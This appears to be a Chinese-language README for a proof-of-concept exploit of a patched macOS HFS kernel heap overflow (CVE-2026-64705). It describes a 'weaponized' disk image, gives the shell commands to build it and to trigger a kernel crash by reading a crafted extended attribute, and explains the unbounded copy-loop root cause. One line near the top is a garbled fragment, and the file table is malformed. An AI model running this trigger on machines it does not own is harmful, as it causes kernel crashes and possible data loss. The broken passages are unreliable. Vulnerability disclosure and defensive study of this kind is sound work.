针对 CVE-2026-64705 的根因分析与概念验证,这是 HFS 内核扩展中的一个缓冲区溢出漏洞,已在 macOS Sonoma 14.8.7(HT127117)中修复:
HFS — 影响:应用或许能够导致系统意外终止或写入内核内存。已通过改进边界检查解决缓冲区溢出问题。
该 PoC 是一个武器化的 HFS+ 磁盘映像。挂载它并读取一个精心构造的扩展属性,会驱使 HFS kext 进入一个无界 64 字节 bcopy 循环,写入一个 512 字节的内核堆缓冲区 → 造成内核堆溢出,溢出内容由攻击者控制的磁盘数据驱动 → 在易受攻击的构建版本上导致内核崩溃。崩溃/内核恐慌级别 — 非 RCE。
adds/b.hs 进位检查、零计数终止,以及 total==0 / total>expected 拒绝逻辑hfs_setxattr: %s has a malformed overflow extent,getxattr 同理。| 文件 | 说明 |
|---|
poc-cve-2026-64705.dmg | 武器化的 32 MB HFS+ 映像(触发文件 + 精心构造的 xattr 记录) |
weaponize.py | 构建该映像的修补器 — 从映像本身重新推导每个偏移量;适用于任何兼容的基础映像 |
parse_attr.py | 用于定位/转储 xattr 记录的属性 B 树解析器 |
BUILD.md | 从干净基础映像开始的完整构建配方 + 精确的十六进制差异 |
WRITEUP.md | 根因分析:kext 差异(14.8.5 对比 14.8.7)、易受攻击的循环、机制 |
在修复前的系统上(或一台牺牲用的虚拟机 — 这会导致内核崩溃):
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # 内核堆溢出 -> 崩溃
在已修复的系统上,同一映像可以正常挂载,且触发请求会被新的验证器拒绝 — 你可以在内核日志中观察到这一差异证明:
hfs_getxattr: bigattr has a malformed overflow extent
这也证实了精心构造的记录恰好将执行流程驱动到已修补(且原先易受攻击)的遍历逻辑中。
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
对于以 kHFSPlusAttrForkData 存储的大型 xattr,hfs_getxattr_internal(以及镜像的 hfs_setxattr_internal)会遍历溢出记录的 8 个 extent 描述符。count_extent_blocks() 会跳过任何 blockCount 超过预期总数的描述符,并返回 32 位求和结果,且不进行进位或零值检查。如果每个 blockCount 都超过总数,计数会返回 0,blkcnt 永远不会前进,于是 while (blkcnt < totalblocks) 循环会持续每次复制 64 字节攻击者控制的数据,越过 totalblocks*8 字节的堆缓冲区。整数回绕变体(blockCount 总和超过 2^32)同样是缺失检查所致;14.8.7 补丁同时修复了这两种情况。
仅供教育和防御性研究之用。该漏洞已在当前 macOS 中修复;请仅在你拥有的机器上测试。